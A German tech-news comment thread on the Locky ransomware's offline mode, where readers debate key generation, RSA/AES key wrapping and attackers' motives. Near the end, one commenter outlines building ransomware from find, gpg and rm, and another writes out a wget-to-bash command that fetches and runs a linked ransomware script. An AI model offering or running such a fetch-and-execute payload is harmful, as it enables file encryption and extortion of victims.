1. Foren
  2. Kommentare
  3. Security
  4. Alle Kommentare zum Artikel
  5. › Erpressungstrojaner: Locky kann jetzt…

RSA?

  1. Thema

Neues Thema Ansicht wechseln


  1. RSA?

    Autor: Theoretiker 14.07.16 - 19:31

    Irgendwie frage ich mich bei den ganzen Verschlüsselungstrojanern immer, warum die so einfach zu knacken sind. Warum hat der nicht einfach den öffentlichen RSA Schlüssel des Erpressers dabei? Dann kann der offline einen Schlüssel mit 256-Bit Entropie generieren, den mit dem öffentlichen Schlüssel verschlüsseln und somit den ganzen Rechner mit einem neuen Schlüssel verschlüsseln.

    Wenn man die Daten entschlüsseln möchte, muss man dem Erpresser den RSA-verschlüsselten AES-Schlüssel zuschicken und bekommt dann (hoffentlich) den entschlüsselten AES-Schlüssel zurück und kann die Daten wieder lesbar machen.

    Warum wird das denn nicht gemacht? Stellt die RSA-Verschlüsselung für den Erpresser ein zu großes Risiko dar?

  2. Re: RSA?

    Autor: kazhar 14.07.16 - 21:52

    > Warum wird das denn nicht gemacht?

    weil die Zielgruppe dieser Trojaner schon mit ROT13 heillos überfordert ist.
    Wozu also sinnlos Zeit und Aufwand verbraten?

  3. Re: RSA?

    Autor: Xiut 14.07.16 - 22:58

    Theoretiker schrieb:
    --------------------------------------------------------------------------------
    > Irgendwie frage ich mich bei den ganzen Verschlüsselungstrojanern immer,
    > warum die so einfach zu knacken sind. Warum hat der nicht einfach den
    > öffentlichen RSA Schlüssel des Erpressers dabei? Dann kann der offline
    > einen Schlüssel mit 256-Bit Entropie generieren, den mit dem öffentlichen
    > Schlüssel verschlüsseln und somit den ganzen Rechner mit einem neuen
    > Schlüssel verschlüsseln.
    >
    > Wenn man die Daten entschlüsseln möchte, muss man dem Erpresser den
    > RSA-verschlüsselten AES-Schlüssel zuschicken und bekommt dann (hoffentlich)
    > den entschlüsselten AES-Schlüssel zurück und kann die Daten wieder lesbar
    > machen.
    >
    > Warum wird das denn nicht gemacht? Stellt die RSA-Verschlüsselung für den
    > Erpresser ein zu großes Risiko dar?

    Wird doch (zumindest sehr oft) so oder so ähnlich auch gemacht. Es wird ja eigentlich nie die Verschlüsselung geknackt, sondern eben der Punkt "Dann kann der offline einen Schlüssel mit 256-Bit Entropie generieren", wo eben oft zu sehr geschlampt wird und man dann den Key eben mit entsprechenden Entschlüsselungs-Tools selbst errechnen kann, weil dieser eben doch nicht so zufällig erstellt wurde und z.B. auf Datum und Uhrzeit, den Benutzernamen oder ähnliches beruht.

  4. Re: RSA?

    Autor: derh0ns 15.07.16 - 00:31

    Xiut schrieb:
    > Wird doch (zumindest sehr oft) so oder so ähnlich auch gemacht. Es wird ja
    > eigentlich nie die Verschlüsselung geknackt, sondern eben der Punkt "Dann
    > kann der offline einen Schlüssel mit 256-Bit Entropie generieren", wo eben
    > oft zu sehr geschlampt wird und man dann den Key eben mit entsprechenden
    > Entschlüsselungs-Tools selbst errechnen kann, weil dieser eben doch nicht
    > so zufällig erstellt wurde und z.B. auf Datum und Uhrzeit, den
    > Benutzernamen oder ähnliches beruht.

    Aber warum tun die sich da so schwer bei, einmal googeln reicht für jede sprache aus um einen sicheren Zufallsgenerator zu erstellen

  5. Re: RSA?

    Autor: bombinho 15.07.16 - 00:35

    Weil dann das "versehentliche" Bekanntwerden des privaten Schluessels das ganze Geschaeft erstmal bis zur naechsten Welle ruiniert.

  6. Re: RSA?

    Autor: bombinho 15.07.16 - 00:36

    derh0ns schrieb:
    --------------------------------------------------------------------------------
    > warum tun die sich da so schwer bei, einmal googeln reicht für jede
    > sprache aus um einen sicheren Zufallsgenerator zu erstellen

    Vorsicht mit dieser Vermutung. Da kann dir zum Beispiel der Prozessor maechtig in die Suppe spucken.

  7. Re: RSA?

    Autor: Xiut 15.07.16 - 00:55

    derh0ns schrieb:
    --------------------------------------------------------------------------------
    > Xiut schrieb:
    > > Wird doch (zumindest sehr oft) so oder so ähnlich auch gemacht. Es wird
    > ja
    > > eigentlich nie die Verschlüsselung geknackt, sondern eben der Punkt
    > "Dann
    > > kann der offline einen Schlüssel mit 256-Bit Entropie generieren", wo
    > eben
    > > oft zu sehr geschlampt wird und man dann den Key eben mit entsprechenden
    > > Entschlüsselungs-Tools selbst errechnen kann, weil dieser eben doch
    > nicht
    > > so zufällig erstellt wurde und z.B. auf Datum und Uhrzeit, den
    > > Benutzernamen oder ähnliches beruht.
    >
    > Aber warum tun die sich da so schwer bei, einmal googeln reicht für jede
    > sprache aus um einen sicheren Zufallsgenerator zu erstellen

    So weit ich das mitbekommen habe, gibt es wohl auch einige, die zwar einen vielleicht nicht voll kryptographisch sicheren Zufallsgenerator verwenden, aber einen eigentlich ausreichend guten, der vielleicht die Verschlüsselung angreifbar macht, aber bei weitem nicht das Erstellen eines Entschlüsselungs-Tool ermöglicht.

    Das Problem hier: Der Seed für diesen Zufallsgenerator wurde mehr als ungünstig gewählt. Wenn man beispielsweise den Unix-Timestamp als Seed verwendet, können die Zufallszahlen noch so gut sein. Am Ende muss man eben nur den Seed herausfinden und fängt am selben Punkt an, wie der Trojaner.

    Man kann halt recht schnell sehr viel falsch machen. Wenn man (aus welchen Gründen auch immer) eine Zufallszahl z.B. mit 2 multipliziert, muss man schon nur noch halb so viele Zahlen durchprobieren, weil ungerade kann die Zahl ja dann nicht mehr sein.
    Und genau solche Sachen machen mehr Entwickler als man denken mag, wenn sie ihren eigenen "super sicheren" Algorithmus schreiben und sichere Zufallszahlen noch "sicherer" machen wollen, weil ja sicher niemand darauf kommen wird, dass sie nicht die Zahl direkt verwenden, sondern vorher noch mit X multiplizieren :D

    Edit: Oder ein konkretes Beispiel CryptoLocker: Dort hat der Entwickler keinen 1024 bits Schlüssel verwendet (also 128 Bytes), sondern eine 128 stellige Dezimalzahl. Somit hatte der Schlüssel nur noch eine Stärke von rund 426 bits und diesen Schlüssel sollte man inzwischen mit einem normalen PC in 1-2 Tagen knacken können. Bei wichtigen Daten wäre das absolut vertretbarer Aufwand.
    Verschlüsselung ist eben nicht ganz so einfach sicher zu implementieren und die wenigsten Ransomeware-Entwickler werden Kryptologen sein. Aber in diesem Fall genügt oft ja auch schon eine unsichere Verschlüsselung, damit genug Geld eingenommen werden kann. Und dann werden einfach die Algorithmen ein wenig angepasst, damit die Entschlüsselungstools nicht mehr funktionieren.



    1 mal bearbeitet, zuletzt am 15.07.16 01:14 durch Xiut.

  8. Re: RSA?

    Autor: evilgoto 15.07.16 - 03:18

    bombinho schrieb:
    --------------------------------------------------------------------------------
    > Weil dann das "versehentliche" Bekanntwerden des privaten Schluessels das
    > ganze Geschaeft erstmal bis zur naechsten Welle ruiniert.
    Dann verwenden wir die vorgeschlagene Schlüsselgenerierung eben nur für den Offline-Modus.
    Dagegen ist das klar kein Argument:
    * Der aktuelle Schlüssel ist bekannt, sobald einmal irgendjemand bezahlt.
    * Der private Schlüssel wird vielleicht gar nie bekannt und ist damit potentiell wesentlich effiziente, mindestens aber so gut wie die jetzige Implementierung.
    Das ganze Umzusetzen ist jetzt ja auch nicht so schrecklich kompliziert, als dass man dafür erst Millionenbeträge investieren müsste.

  9. Re: RSA?

    Autor: evilgoto 15.07.16 - 03:20

    kazhar schrieb:
    --------------------------------------------------------------------------------
    > > Warum wird das denn nicht gemacht?
    >
    > weil die Zielgruppe dieser Trojaner schon mit ROT13 heillos überfordert
    > ist.
    > Wozu also sinnlos Zeit und Aufwand verbraten?

    Jetzt steht aber im Artikel:

    > "Ein Systemadministrator konnte alle Verbindungen zu den bekannten Command-and-Control-Servern blockieren und so eine Verschlüsselung des Systems verhindern. Diese Tage sind vorbei", sagt Moritz Kroll von Avira. "Locky hat jetzt die Chance für potentielle Opfer verringert, sich effektiv zu schützen".

    Demnach sind also auch erfahrenere Nutzer die Zielgruppe der neuen Offline-Variante.

  10. Re: RSA?

    Autor: Xiut 15.07.16 - 03:24

    evilgoto schrieb:
    --------------------------------------------------------------------------------
    > kazhar schrieb:
    > ---------------------------------------------------------------------------
    > -----
    > > > Warum wird das denn nicht gemacht?
    > >
    > > weil die Zielgruppe dieser Trojaner schon mit ROT13 heillos überfordert
    > > ist.
    > > Wozu also sinnlos Zeit und Aufwand verbraten?
    >
    > Jetzt steht aber im Artikel:
    >
    > > "Ein Systemadministrator konnte alle Verbindungen zu den bekannten
    > Command-and-Control-Servern blockieren und so eine Verschlüsselung des
    > Systems verhindern. Diese Tage sind vorbei", sagt Moritz Kroll von Avira.
    > "Locky hat jetzt die Chance für potentielle Opfer verringert, sich effektiv
    > zu schützen".
    >
    > Demnach sind also auch erfahrenere Nutzer die Zielgruppe der neuen
    > Offline-Variante.

    Das einzige Ziel von dem Offline-Modus ist eigentlich nur, dass er auch ohne Zugriff aufs Internet Daten verschlüsselt. Das wäre selbst dann ein Problem, wenn er wirklich nur ROT13 verwenden würde, weil er dann trotz des Blockens dieser IPs eben nicht mehr NICHT verschlüsselt, sondern eben doch noch auf eine Weise, wenn auch nicht auf die deutlich sichere Weise, die bei Zugriff aufs Internet verwendet wird.

    Entsprechend ist es egal, ob erfahrener Nutzer oder nicht: Der Trojaner hat auch ohne Internetzugang eine Auswirkung. Mehr will der Trojaner anscheinend auch nicht, weil sonst würde dieser Modus ein wenig sicherer implementiert werden, was auch möglich wäre.

  11. Re: RSA?

    Autor: serra.avatar 15.07.16 - 06:48

    hast du dir mal den durchschnitt Admin einer Firma angeschaut ? ... Sry aber da ist das Diplom das Papier nicht wert auf dem es steht!

    Und gibt es da dann doch mal nen fähigen Admin macht ihm ein "dummer" Chef nen Strich durch die Rechnung, da nen Admin meistens auch nur "Befehlsempfänger" ist.

    IT Sicherheit ist schliesslich etwas wo der Rotstift sehr effektiv ist zumindest aus BWLer Sicht!

    Also warum sollte man sich als Malware Progger zu tief reinknien? Wenn man doch auch mit wenig viel erreicht ... nicht alles Mögliche, nur das notwendige ... bringt einem schneller und effektiver zum Ziel!



    4 mal bearbeitet, zuletzt am 15.07.16 06:57 durch serra.avatar.

  12. Re: RSA?

    Autor: the_wayne 15.07.16 - 08:14

    Und genau deshalb hat Locky auch erst jetzt den Offline-Modus bekommen. Erstmal mit "geringem" Aufwand und später die Extras.

  13. Re: RSA?

    Autor: Theoretiker 15.07.16 - 13:13

    Vielleicht bin ich da von Desktop-Linux auch einfach nur verwöhnt. Man kann ja einen solchen Trojaner schon mit Bordmitteln schreiben, gpg ist schon da und man den öffentlichen Schlüssel kann es ja einfach so herunterladen oder mitbringen.

    Also eigentlich müsste man nur find, gpg und rm kombinieren und hätte schon einen hinreichend ekelhaften Trojaner. Wenn man die alten Daten noch mit Zeug aus /dev/urandom ersetzt, wird es noch unlustiger. Hierbei hilft noch btrfs mit Snapshots, aber das ist ja letztlich ein Backup *in diesem Fall*.

  14. Re: RSA?

    Autor: Wallbreaker 15.07.16 - 16:16

    Theoretiker schrieb:
    --------------------------------------------------------------------------------
    > Vielleicht bin ich da von Desktop-Linux auch einfach nur verwöhnt. Man kann
    > ja einen solchen Trojaner schon mit Bordmitteln schreiben, gpg ist schon da
    > und man den öffentlichen Schlüssel kann es ja einfach so herunterladen oder
    > mitbringen.

    Ein Shellscript wäre hier die passende Wahl.

    > Also eigentlich müsste man nur find, gpg und rm kombinieren und hätte schon
    > einen hinreichend ekelhaften Trojaner. Wenn man die alten Daten noch mit
    > Zeug aus /dev/urandom ersetzt, wird es noch unlustiger. Hierbei hilft noch
    > btrfs mit Snapshots, aber das ist ja letztlich ein Backup *in diesem Fall*.

    Würde sagen das find hier zu unflexibel ist. Zumal es Daten in einem Rutsch abarbeitet, und nicht pro Datei. So könntest zufallsgenerierte Dateinamen z.B. vergessen. Auch ist eine Pipe in find sehr fummelig und schlicht unangemesen.

    Spontan würde mir das hier einfallen:

    http://paste.debian.net/hidden/4ab00872

    Der Infektionsweg wäre wieder kompliziert, aber zum Test wäre es wohl ein:

    bash -c "$(wget -q http://paste.debian.net/plainh/4ab00872 -O -)" &

    Ist natürlich noch nicht einsatzreif, aber so in der Art könnte das laufen. Dafür bedarf es aber wirklich enorm vieler Idioten, damit das ordentlich Geld generiert. xD



    2 mal bearbeitet, zuletzt am 15.07.16 16:20 durch Wallbreaker.

  1. Thema

Neues Thema Ansicht wechseln


Um zu kommentieren, loggen Sie sich bitte ein oder registrieren Sie sich. Zum Login

Stellenmarkt
  1. Software AG, Darmstadt
  2. InnoGames GmbH, Hamburg
  3. MVTec Software GmbH, München
  4. DIgSILENT GmbH, Gomaringen

Golem pur
  • Golem.de ohne Werbung nutzen

Anzeige
Hardware-Angebote


Haben wir etwas übersehen?

E-Mail an news@golem.de


Energiewende: Norddeutschland wird H
Energiewende
Norddeutschland wird H

Japan macht es vor, die norddeutschen Bundesländer ziehen nach: Im November haben sie den Aufbau einer Wasserstoffwirtschaft beschlossen. Die Voraussetzungen dafür sind gegeben. Aber das Ende der Förderung von Windkraft kann das Projekt gefährden.
Eine Analyse von Werner Pluta

  1. Energiewende Brandenburg bekommt ein Wasserstoff-Speicherkraftwerk
  2. Energiewende Dänemark plant künstliche Insel für Wasserstofferzeugung
  3. Energiewende Nordländer bauen gemeinsame Wasserstoffwirtschaft auf

SpaceX: Der Weg in den Weltraum ist frei
SpaceX
Der Weg in den Weltraum ist frei

Das Raumschiff hob noch ohne Besatzung ab, aber der Testflug war ein voller Erfolg. Der Crew Dragon von SpaceX hat damit seine letzte große Bewährungsprobe bestanden, bevor die Astronauten auch mitfliegen dürfen.
Ein Bericht von Frank Wunderlich-Pfeiffer

  1. Raumfahrt SpaceX macht Sicherheitstest bei höchster Belastung
  2. Raumfahrt SpaceX testet dunkleren Starlink-Satelliten
  3. SpaceX Starship platzt bei Tanktest

Ryzen Mobile 4000 (Renoir): Lasst die Ära der schrottigen AMD-Notebooks enden!
Ryzen Mobile 4000 (Renoir)
Lasst die Ära der schrottigen AMD-Notebooks enden!

Seit vielen Jahren gibt es kaum Premium-Geräte mit AMD-Chips und selbst bei vermeintlich identischer Ausstattung fehlen Eigenschaften wie eine beleuchtete Tastatur oder Thunderbolt 3. Schluss damit!
Ein IMHO von Marc Sauter

  1. HEDT-Prozessor 64-kerniger Threadripper schlägt 20.000-Dollar-Xeons
  2. Ryzen Mobile 4000 AMDs Renoir hat acht 7-nm-Kerne für Ultrabooks
  3. Zen+ AMD verkauft Ryzen 5 1600 mit flotteren CPU-Kernen

  1. Lightning vs. USB-C: USB-Konsortium war zu träge
    Lightning vs. USB-C
    USB-Konsortium war zu träge

    Im Streit um den offenen Standard USB-C und Apples eigenen Standard Lightning sind neue Details bekanntgeworden. Das USB-Konsortium gibt sich selbst die Schuld, nicht frühzeitig einen USB-Standard fertig gehabt zu haben, der gegen Lightning hätte bestehen können.

  2. Datenschützer kritisieren: H&M soll Mitarbeiter umfangreich ausspioniert haben
    Datenschützer kritisieren
    H&M soll Mitarbeiter umfangreich ausspioniert haben

    Der schwedische Modehändler Hennes und Mauritz (H&M) soll Mitarbeiter in großem Stil ausspioniert haben. Die zuständige Datenschutzbehörde hat ein Bußgeldverfahren eingeleitet und bezeichnet die Datenschutzverstöße als besonders drastisch.

  3. Handyverträge: Verkürzte Laufzeit und leichtere Kündigungen geplant
    Handyverträge
    Verkürzte Laufzeit und leichtere Kündigungen geplant

    Zwei Jahre laufende Mobilfunkverträge sollen bald der Vergangenheit angehören. Das Bundesjustizministerium hat einen Gesetzentwurf für kürzere Laufzeitverträge und bessere Kündigungsmöglichkeiten veröffentlicht. Auch Vertragsverlängerungen werden begrenzt.


  1. 11:38

  2. 10:35

  3. 10:11

  4. 13:15

  5. 12:50

  6. 11:43

  7. 19:34

  8. 16:40